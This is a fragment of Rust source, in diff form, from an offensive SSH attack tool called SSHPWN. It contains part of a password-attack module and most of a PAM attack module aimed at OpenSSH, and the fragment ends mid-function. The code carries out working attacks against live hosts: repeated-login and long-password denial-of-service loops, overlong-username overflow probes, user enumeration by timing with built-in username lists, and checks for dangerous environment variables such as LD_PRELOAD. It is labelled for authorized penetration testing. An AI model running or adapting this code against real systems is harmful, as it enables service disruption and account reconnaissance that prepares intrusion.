||||
if success {
|
||||
println!("{}", "SUCCESS".green().bold());
|
||||
} else {
|
||||
println!("{}", format!("{:.2}s - {}", time, msg).dimmed());
|
||||
}
|
||||
}
|
||||
None => {
|
||||
println!("{}", "Connection failed".red());
|
||||
}
|
||||
}
|
||||
|
||||
std::thread::sleep(Duration::from_millis(500));
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "=== Bcrypt Truncation Analysis ===".cyan().bold());
|
||||
|
||||
// Check if timing is consistent (would indicate truncation)
|
||||
if results.len() >= 2 {
|
||||
let time_72 = results.get(0).map(|r| r.1).unwrap_or(0.0);
|
||||
let time_73 = results.get(1).map(|r| r.1).unwrap_or(0.0);
|
||||
let time_100 = results.get(2).map(|r| r.1).unwrap_or(0.0);
|
||||
|
||||
let diff_73 = (time_73 - time_72).abs();
|
||||
let diff_100 = (time_100 - time_72).abs();
|
||||
|
||||
if diff_73 < 0.1 && diff_100 < 0.1 {
|
||||
println!("{}", "[*] Timing consistent across all lengths".yellow());
|
||||
println!("{}", "[*] Server may be using bcrypt (72-byte truncation)".cyan());
|
||||
println!();
|
||||
println!("{}", "[!] Implication: Passwords >72 bytes provide no extra security".yellow().bold());
|
||||
println!("{}", "[*] Password 'AAAA...AAA' (72) == 'AAAA...AAAXXX' (75)".dimmed());
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}", "[*] Timing varies - server may not use bcrypt or has different handling".cyan());
|
||||
println!("{}", "[*] Cannot confirm 72-byte truncation".dimmed());
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// Prompt helpers
|
||||
async fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_optional(message: &str) -> Result<Option<String>> {
|
||||
print!("{} (leave empty to skip): ", message);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(None)
|
||||
} else {
|
||||
Ok(Some(trimmed.to_string()))
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{} [{}]: ", message, hint);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => Ok(default),
|
||||
"y" | "yes" => Ok(true),
|
||||
"n" | "no" => Ok(false),
|
||||
_ => Ok(default),
|
||||
}
|
||||
}
|
||||
|
||||
/// Default usernames for timing attack
|
||||
const DEFAULT_USERNAMES: &[&str] = &[
|
||||
"root", "admin", "user", "test", "guest",
|
||||
"ubuntu", "www-data", "daemon", "nobody",
|
||||
"mysql", "postgres", "oracle", "ftp", "ssh",
|
||||
];
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let host = normalize_target(target)?;
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get port
|
||||
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
|
||||
|
||||
println!();
|
||||
println!("{}", "Select attack mode:".yellow().bold());
|
||||
println!(" 1. Password Length DoS Test");
|
||||
println!(" 2. Password Change Information Leak (Analysis)");
|
||||
println!(" 3. Auth Timing Attack (User Enumeration)");
|
||||
println!(" 4. Bcrypt 72-byte Truncation Test");
|
||||
println!(" 5. Run All Attacks");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Attack mode", "3").await?;
|
||||
|
||||
match mode.as_str() {
|
||||
"1" => {
|
||||
let username = prompt_default("Username to test", "root").await?;
|
||||
let max_len: usize = prompt_default("Maximum password length", "8192").await?.parse().unwrap_or(8192);
|
||||
attack_password_length_dos(&host, port, &username, max_len).await?;
|
||||
}
|
||||
"2" => {
|
||||
attack_password_change_leak(&host, port).await?;
|
||||
}
|
||||
"3" => {
|
||||
let samples: usize = prompt_default("Samples per username", "3").await?.parse().unwrap_or(3);
|
||||
|
||||
// Get usernames
|
||||
let mut usernames: Vec<String> = Vec::new();
|
||||
|
||||
if prompt_yes_no("Use default username list?", true).await? {
|
||||
for user in DEFAULT_USERNAMES {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
}
|
||||
|
||||
let custom = prompt_optional("Additional usernames (comma-separated)").await?;
|
||||
if let Some(custom_users) = custom {
|
||||
for user in custom_users.split(',') {
|
||||
let user = user.trim();
|
||||
if !user.is_empty() && !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames to test"));
|
||||
}
|
||||
|
||||
attack_auth_timing(&host, port, &usernames, samples).await?;
|
||||
}
|
||||
"4" => {
|
||||
let username = prompt_default("Username", "root").await?;
|
||||
let base_password = prompt_default("Base password (will be padded to 72 chars)", "testpassword").await?;
|
||||
attack_bcrypt_truncation(&host, port, &username, &base_password).await?;
|
||||
}
|
||||
"5" | _ => {
|
||||
println!();
|
||||
println!("{}", "=== Running All Auth Password Attacks ===".yellow().bold());
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 1: Password Length DoS ---".cyan());
|
||||
let _ = attack_password_length_dos(&host, port, "root", 4096).await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 2: Password Change Info Leak ---".cyan());
|
||||
let _ = attack_password_change_leak(&host, port).await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 3: Auth Timing Attack ---".cyan());
|
||||
let usernames: Vec<String> = DEFAULT_USERNAMES.iter().map(|s| s.to_string()).collect();
|
||||
let _ = attack_auth_timing(&host, port, &usernames, 2).await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 4: Bcrypt Truncation ---".cyan());
|
||||
let _ = attack_bcrypt_truncation(&host, port, "root", "testpassword").await;
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Auth password attack module complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -0,0 +1,640 @@
|
||||
//! SSHPWN PAM Attack Module
|
||||
//!
|
||||
//! Based on OpenSSH 10.0p1 auth-pam.c vulnerability analysis
|
||||
//!
|
||||
//! PAM VULNERABILITIES (auth-pam.c):
|
||||
//! - sshpam_password static storage - Password recovery via memory forensics (LOW)
|
||||
//! - pam_putenv() memory leak - DoS via memory exhaustion (LOW)
|
||||
//! - import_environments() - Environment variable injection (MEDIUM)
|
||||
//! - Missing username length validation on non-Solaris (LOW-MEDIUM)
|
||||
//! - setreuid() race condition - Privilege state issues (LOW)
|
||||
//! - Timing attack mitigation gap - Incomplete coverage (LOW)
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use crate::utils::normalize_target;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
io::{Read, Write},
|
||||
net::TcpStream,
|
||||
path::Path,
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSHPWN - PAM Attack Module ║".cyan());
|
||||
println!("{}", "║ Based on OpenSSH auth-pam.c vulnerability analysis ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Attack Modes: ║".cyan());
|
||||
println!("{}", "║ 1. PAM Memory Exhaustion DoS (pam_putenv leak) ║".cyan());
|
||||
println!("{}", "║ 2. Username Length Overflow Test ║".cyan());
|
||||
println!("{}", "║ 3. PAM Timing Attack (user enumeration) ║".cyan());
|
||||
println!("{}", "║ 4. Environment Variable Injection Test ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
// Use framework's normalize_target utility - removed custom implementation
|
||||
|
||||
/// Create SSH session with authentication
|
||||
fn create_ssh_session(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
timeout_secs: u64,
|
||||
) -> Result<(TcpStream, Session)> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let tcp = TcpStream::connect_timeout(
|
||||
&addr.parse().context("Invalid address")?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
).context("Connection failed")?;
|
||||
|
||||
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
|
||||
let mut sess = Session::new()?;
|
||||
sess.set_tcp_stream(tcp.try_clone()?);
|
||||
sess.handshake()?;
|
||||
|
||||
// Authenticate
|
||||
if let Some(key) = keyfile {
|
||||
sess.userauth_pubkey_file(username, None, Path::new(key), password)?;
|
||||
} else if let Some(pass) = password {
|
||||
sess.userauth_password(username, pass)?;
|
||||
} else {
|
||||
return Err(anyhow!("No authentication method provided"));
|
||||
}
|
||||
|
||||
if !sess.authenticated() {
|
||||
return Err(anyhow!("Authentication failed"));
|
||||
}
|
||||
|
||||
Ok((tcp, sess))
|
||||
}
|
||||
|
||||
/// Time a single authentication attempt (for timing attacks)
|
||||
fn time_auth_attempt(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Option<f64> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
|
||||
let start = Instant::now();
|
||||
|
||||
let tcp = match TcpStream::connect_timeout(
|
||||
&addr.parse().ok()?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
) {
|
||||
Ok(s) => s,
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
let _ = tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)));
|
||||
let _ = tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)));
|
||||
|
||||
let mut sess = match Session::new() {
|
||||
Ok(s) => s,
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
sess.set_tcp_stream(tcp);
|
||||
if sess.handshake().is_err() {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Try authentication
|
||||
let _ = sess.userauth_password(username, password);
|
||||
|
||||
let elapsed = start.elapsed().as_secs_f64();
|
||||
Some(elapsed)
|
||||
}
|
||||
|
||||
/// PAM Memory Exhaustion DoS Test
|
||||
///
|
||||
/// Vulnerability: auth-pam.c lines 378-382 - pam_putenv() memory leak
|
||||
/// Each authentication attempt leaks memory. Repeated attempts can exhaust server memory.
|
||||
pub async fn attack_pam_memory_dos(
|
||||
host: &str,
|
||||
port: u16,
|
||||
iterations: u32,
|
||||
delay_ms: u64,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] PAM Memory Exhaustion DoS on {}", host).cyan());
|
||||
println!("{}", "[*] Vulnerability: auth-pam.c pam_putenv() memory leak".cyan());
|
||||
println!();
|
||||
|
||||
println!("{}", "[!] WARNING: This test performs many authentication attempts".yellow().bold());
|
||||
println!("{}", "[!] It may trigger account lockouts or rate limiting".yellow());
|
||||
println!();
|
||||
|
||||
println!("{}", format!("[*] Testing with {} iterations, {}ms delay", iterations, delay_ms).cyan());
|
||||
|
||||
let mut successful = 0u32;
|
||||
let mut failed = 0u32;
|
||||
|
||||
for i in 0..iterations {
|
||||
if i % 10 == 0 {
|
||||
print!("\r[*] Progress: {}/{} (success: {}, fail: {}) ", i, iterations, successful, failed);
|
||||
let _ = std::io::stdout().flush();
|
||||
}
|
||||
|
||||
// Try authentication with invalid credentials
|
||||
// Each attempt that reaches PAM processing leaks memory
|
||||
let invalid_pass = format!("invalid_{}_{}", std::process::id(), i);
|
||||
|
||||
match time_auth_attempt(host, port, "nobody", &invalid_pass, 10) {
|
||||
Some(_) => successful += 1,
|
||||
None => failed += 1,
|
||||
}
|
||||
|
||||
if delay_ms > 0 {
|
||||
std::thread::sleep(Duration::from_millis(delay_ms));
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!();
|
||||
println!("{}", "=== PAM Memory DoS Results ===".cyan().bold());
|
||||
println!("Total attempts: {}", iterations);
|
||||
println!("Successful connections: {}", successful);
|
||||
println!("Failed connections: {}", failed);
|
||||
println!();
|
||||
|
||||
if successful > 0 {
|
||||
println!("{}", "[VULN] Server accepted connections - memory leak may be exploitable".red().bold());
|
||||
println!("{}", "[*] Monitor server memory usage during extended attacks".cyan());
|
||||
println!("{}", "[*] Each PAM environment variable leaked per auth attempt".cyan());
|
||||
Ok(true)
|
||||
} else {
|
||||
println!("{}", "[-] Could not establish connections - rate limiting may be active".yellow());
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
|
||||
/// Username Length Overflow Test
|
||||
///
|
||||
/// Vulnerability: auth-pam.c lines 696-699 - Username length only validated on Solaris
|
||||
/// Non-Solaris systems may be vulnerable to buffer overflows in PAM modules
|
||||
pub async fn attack_pam_username_overflow(
|
||||
host: &str,
|
||||
port: u16,
|
||||
max_length: usize,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] PAM Username Length Overflow Test on {}", host).cyan());
|
||||
println!("{}", "[*] Vulnerability: auth-pam.c missing username length validation".cyan());
|
||||
println!("{}", "[*] Only Solaris validates PAM_MAX_RESP_SIZE (1024 bytes)".cyan());
|
||||
println!();
|
||||
|
||||
// Test progressively longer usernames
|
||||
let test_lengths = vec![
|
||||
64, 128, 256, 512, 1024, 2048, 4096, 8192,
|
||||
max_length.min(16384),
|
||||
];
|
||||
|
||||
println!("{}", "[*] Testing username lengths:".cyan());
|
||||
|
||||
let mut vulnerable_length = None;
|
||||
|
||||
for &len in &test_lengths {
|
||||
if len > max_length {
|
||||
break;
|
||||
}
|
||||
|
||||
// Generate username of specified length
|
||||
let username: String = std::iter::repeat('A').take(len).collect();
|
||||
|
||||
print!(" Testing {} bytes... ", len);
|
||||
let _ = std::io::stdout().flush();
|
||||
|
||||
let start = Instant::now();
|
||||
let result = time_auth_attempt(host, port, &username, "test", 15);
|
||||
let elapsed = start.elapsed();
|
||||
|
||||
match result {
|
||||
Some(t) => {
|
||||
if elapsed.as_secs() > 10 {
|
||||
println!("{}", format!("SLOW ({:.2}s) - potential DoS", t).yellow());
|
||||
vulnerable_length = Some(len);
|
||||
} else {
|
||||
println!("{}", format!("OK ({:.2}s)", t).green());
|
||||
}
|
||||
}
|
||||
None => {
|
||||
if elapsed.as_secs() > 10 {
|
||||
println!("{}", "TIMEOUT - server may have crashed/hung".red().bold());
|
||||
vulnerable_length = Some(len);
|
||||
break;
|
||||
} else {
|
||||
println!("{}", "Connection failed".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Small delay between tests
|
||||
std::thread::sleep(Duration::from_millis(500));
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "=== Username Overflow Results ===".cyan().bold());
|
||||
|
||||
if let Some(len) = vulnerable_length {
|
||||
println!("{}", format!("[VULN] Potential vulnerability at {} bytes", len).red().bold());
|
||||
println!("{}", "[*] Server showed abnormal behavior with long username".cyan());
|
||||
println!("{}", "[*] PAM modules may have fixed-size username buffers".cyan());
|
||||
Ok(true)
|
||||
} else {
|
||||
println!("{}", "[*] No obvious overflow detected".green());
|
||||
println!("{}", "[*] Server may have proper input validation".cyan());
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
|
||||
/// PAM Timing Attack - Enhanced user enumeration
|
||||
///
|
||||
/// Vulnerability: auth-pam.c lines 1361-1368 - Timing attack mitigation gap
|
||||
/// fake_password() only used for invalid users/root denied, not for empty passwords
|
||||
pub async fn attack_pam_timing(
|
||||
host: &str,
|
||||
port: u16,
|
||||
usernames: &[String],
|
||||
samples: usize,
|
||||
) -> Result<Vec<String>> {
|
||||
println!("{}", format!("[*] PAM Timing Attack on {}", host).cyan());
|
||||
println!("{}", "[*] Vulnerability: auth-pam.c incomplete timing mitigation".cyan());
|
||||
println!("{}", "[*] Testing: valid vs invalid user timing differences".cyan());
|
||||
println!();
|
||||
|
||||
// Establish baseline with definitely invalid user
|
||||
let baseline_user = format!("nonexistent_user_{}_{}", std::process::id(), Instant::now().elapsed().as_nanos());
|
||||
|
||||
println!("{}", "[*] Establishing baseline timing...".cyan());
|
||||
|
||||
let mut baseline_times = Vec::new();
|
||||
for _ in 0..samples {
|
||||
if let Some(t) = time_auth_attempt(host, port, &baseline_user, "invalid", 15) {
|
||||
baseline_times.push(t);
|
||||
}
|
||||
std::thread::sleep(Duration::from_millis(100));
|
||||
}
|
||||
|
||||
if baseline_times.is_empty() {
|
||||
println!("{}", "[-] Could not establish baseline - cannot reach target".red());
|
||||
return Ok(Vec::new());
|
||||
}
|
||||
|
||||
let baseline = baseline_times.iter().sum::<f64>() / baseline_times.len() as f64;
|
||||
println!("{}", format!("[*] Baseline timing: {:.3}s", baseline).cyan());
|
||||
|
||||
// Test empty password timing (potential gap in fake_password coverage)
|
||||
println!();
|
||||
println!("{}", "[*] Testing empty password timing gap...".cyan());
|
||||
|
||||
let mut empty_times = Vec::new();
|
||||
for _ in 0..samples {
|
||||
if let Some(t) = time_auth_attempt(host, port, &baseline_user, "", 15) {
|
||||
empty_times.push(t);
|
||||
}
|
||||
std::thread::sleep(Duration::from_millis(100));
|
||||
}
|
||||
|
||||
if !empty_times.is_empty() {
|
||||
let empty_avg = empty_times.iter().sum::<f64>() / empty_times.len() as f64;
|
||||
let diff = empty_avg - baseline;
|
||||
if diff.abs() > 0.1 {
|
||||
println!("{}", format!("[VULN] Empty password timing differs: {:+.3}s", diff).red().bold());
|
||||
println!("{}", "[*] This may indicate incomplete timing attack mitigation".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[*] Empty password timing: {:.3}s (diff: {:+.3}s)", empty_avg, diff).dimmed());
|
||||
}
|
||||
}
|
||||
|
||||
// Test provided usernames
|
||||
println!();
|
||||
println!("{}", "[*] Testing usernames for timing differences...".cyan());
|
||||
|
||||
let mut valid_users = Vec::new();
|
||||
|
||||
for user in usernames {
|
||||
print!("\r[*] Testing: {} ", user);
|
||||
let _ = std::io::stdout().flush();
|
||||
|
||||
let mut times = Vec::new();
|
||||
for _ in 0..samples {
|
||||
if let Some(t) = time_auth_attempt(host, port, user, "invalid_password", 15) {
|
||||
times.push(t);
|
||||
}
|
||||
std::thread::sleep(Duration::from_millis(100));
|
||||
}
|
||||
|
||||
if !times.is_empty() {
|
||||
let avg = times.iter().sum::<f64>() / times.len() as f64;
|
||||
let diff = avg - baseline;
|
||||
|
||||
// Significant timing difference indicates valid user
|
||||
if diff.abs() > 0.3 {
|
||||
println!("\r{}", format!("[+] Valid user: {} (timing diff: {:+.3}s)", user, diff).green());
|
||||
valid_users.push(user.clone());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "=== PAM Timing Results ===".cyan().bold());
|
||||
|
||||
if valid_users.is_empty() {
|
||||
println!("{}", "[-] No valid users found via timing attack".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid user(s):", valid_users.len()).green());
|
||||
for user in &valid_users {
|
||||
println!(" - {}", user.green());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(valid_users)
|
||||
}
|
||||
|
||||
/// PAM Environment Variable Injection Test
|
||||
///
|
||||
/// Vulnerability: auth-pam.c lines 350-383 - import_environments()
|
||||
/// Up to 1024 env vars imported from PAM subprocess without sanitization
|
||||
pub async fn attack_pam_env_injection(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] PAM Environment Injection Test on {}", host).cyan());
|
||||
println!("{}", "[*] Vulnerability: auth-pam.c import_environments()".cyan());
|
||||
println!("{}", "[*] Tests what environment variables are accepted/set".cyan());
|
||||
println!();
|
||||
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
// Check current environment
|
||||
let dangerous_vars = vec![
|
||||
"LD_PRELOAD",
|
||||
"LD_LIBRARY_PATH",
|
||||
"LD_AUDIT",
|
||||
"LD_DEBUG",
|
||||
"LD_PROFILE",
|
||||
"PATH",
|
||||
"BASH_ENV",
|
||||
"ENV",
|
||||
"CDPATH",
|
||||
"GLOBIGNORE",
|
||||
"BASH_FUNC_",
|
||||
"SSH_AUTH_INFO_0",
|
||||
"KRB5CCNAME",
|
||||
"SSH_CONNECTION",
|
||||
];
|
||||
|
||||
println!("{}", "[*] Checking dangerous environment variables:".cyan());
|
||||
|
||||
let mut channel = sess.channel_session()?;
|
||||
channel.exec("env")?;
|
||||
|
||||
let mut env_output = String::new();
|
||||
channel.read_to_string(&mut env_output)?;
|
||||
channel.wait_close()?;
|
||||
|
||||
let mut found_dangerous = Vec::new();
|
||||
|
||||
for var in &dangerous_vars {
|
||||
for line in env_output.lines() {
|
||||
if line.starts_with(var) {
|
||||
println!("{}", format!(" [!] {}", line).yellow());
|
||||
found_dangerous.push(line.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Testing PAM-specific variables:".cyan());
|
||||
|
||||
// Check for PAM-related environment
|
||||
let pam_vars = vec!["PAM_", "SSH_AUTH", "KRB5", "GSSAPI"];
|
||||
|
||||
for var in &pam_vars {
|
||||
for line in env_output.lines() {
|
||||
if line.contains(var) {
|
||||
println!("{}", format!(" [PAM] {}", line).cyan());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "=== PAM Environment Results ===".cyan().bold());
|
||||
|
||||
// Explicit session cleanup
|
||||
drop(sess);
|
||||
|
||||
if !found_dangerous.is_empty() {
|
||||
println!("{}", format!("[!] Found {} potentially dangerous variables", found_dangerous.len()).yellow());
|
||||
println!("{}", "[*] These could be exploited by malicious PAM modules".cyan());
|
||||
println!();
|
||||
println!("{}", "[*] Attack vectors:".cyan());
|
||||
println!("{}", " - LD_PRELOAD: Load malicious shared library".dimmed());
|
||||
println!("{}", " - PATH: Execute trojan commands".dimmed());
|
||||
println!("{}", " - BASH_ENV: Execute code on bash startup".dimmed());
|
||||
println!("{}", " - KRB5CCNAME: Credential cache manipulation".dimmed());
|
||||
} else {
|
||||
println!("{}", "[*] No obviously dangerous variables found in environment".green());
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Note: Environment injection requires compromised PAM module".yellow());
|
||||
println!("{}", "[*] Check /etc/pam.d/sshd for module configuration".dimmed());
|
||||
|
||||
Ok(!found_dangerous.is_empty())
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
async fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_optional(message: &str) -> Result<Option<String>> {
|
||||
print!("{} (leave empty to skip): ", message);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(None)
|
||||
} else {
|
||||
Ok(Some(trimmed.to_string()))
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{} [{}]: ", message, hint);
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => Ok(default),
|
||||
"y" | "yes" => Ok(true),
|
||||
"n" | "no" => Ok(false),
|
||||
_ => Ok(default),
|
||||
}
|
||||
}
|
||||
|
||||
/// Default usernames for timing attack
|
||||
const DEFAULT_USERNAMES: &[&str] = &[
|
||||
"root", "admin", "user", "test", "guest",
|
||||
"ubuntu", "www-data", "daemon", "bin", "sys",
|
||||
"nobody", "mysql", "postgres", "oracle", "ftp",
|
||||
"ssh", "apache", "nginx", "tomcat", "redis",
|
||||
];
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let host = normalize_target(target)?;
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get port
|
||||
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
|
||||
|
||||
println!();
|
||||
println!("{}", "Select attack mode:".yellow().bold());
|
||||
println!(" 1. PAM Memory Exhaustion DoS (no auth required)");
|
||||
println!(" 2. Username Length Overflow Test (no auth required)");
|
||||
println!(" 3. PAM Timing Attack - User Enumeration (no auth required)");
|
||||
println!(" 4. Environment Variable Injection (requires auth)");
|
||||
println!(" 5. Run All Attacks");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Attack mode", "3").await?;
|
||||
|
||||
match mode.as_str() {
|
||||
"1" => {
|
||||
let iterations: u32 = prompt_default("Number of attempts", "100").await?.parse().unwrap_or(100);
|
||||
let delay: u64 = prompt_default("Delay between attempts (ms)", "100").await?.parse().unwrap_or(100);
|
||||
attack_pam_memory_dos(&host, port, iterations, delay).await?;
|
||||
}
|
||||
"2" => {
|
||||
let max_len: usize = prompt_default("Maximum username length", "8192").await?.parse().unwrap_or(8192);
|
||||
attack_pam_username_overflow(&host, port, max_len).await?;
|
||||
}
|
||||
"3" => {
|
||||
let samples: usize = prompt_default("Samples per username", "3").await?.parse().unwrap_or(3);
|
||||
|
||||
// Get usernames
|
||||
let mut usernames: Vec<String> = Vec::new();
|
||||
|
||||
if prompt_yes_no("Use default username list?", true).await? {
|
||||
for user in DEFAULT_USERNAMES {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
}
|
||||
|
||||
let custom = prompt_optional("Additional usernames (comma-separated)").await?;
|
||||
if let Some(custom_users) = custom {
|
||||
for user in custom_users.split(',') {
|
||||
let user = user.trim();
|
||||
if !user.is_empty() && !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
attack_pam_timing(&host, port, &usernames, samples).await?;
|
||||
}
|
||||
"4" => {
|
||||
let username = prompt("Username").await?;
|
||||
if username.is_empty() {
|
||||
return Err(anyhow!("Username is required"));
|
||||
}
|
||||
|
||||
let password = prompt_optional("Password").await?;
|
||||
let keyfile = prompt_optional("SSH Key File Path").await?;
|
||||
|
||||
if password.is_none() && keyfile.is_none() {
|
||||
return Err(anyhow!("Either password or keyfile is required"));
|
||||
}
|
||||
|
||||
attack_pam_env_injection(&host, port, &username, password.as_deref(), keyfile.as_deref()).await?;
|
||||
}
|
||||
"5" | _ => {
|
||||
println!();
|
||||
println!("{}", "=== Running All PAM Attacks ===".yellow().bold());
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 1: Memory Exhaustion ---".cyan());
|
||||
if prompt_yes_no("Run memory DoS test (50 iterations)?", false).await? {
|
||||
let _ = attack_pam_memory_dos(&host, port, 50, 100).await;
|
||||
} else {
|
||||
println!("{}", "[*] Skipped".dimmed());
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 2: Username Overflow ---".cyan());
|
||||
let _ = attack_pam_username_overflow(&host, port, 4096).await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 3: Timing Attack ---".cyan());
|
||||
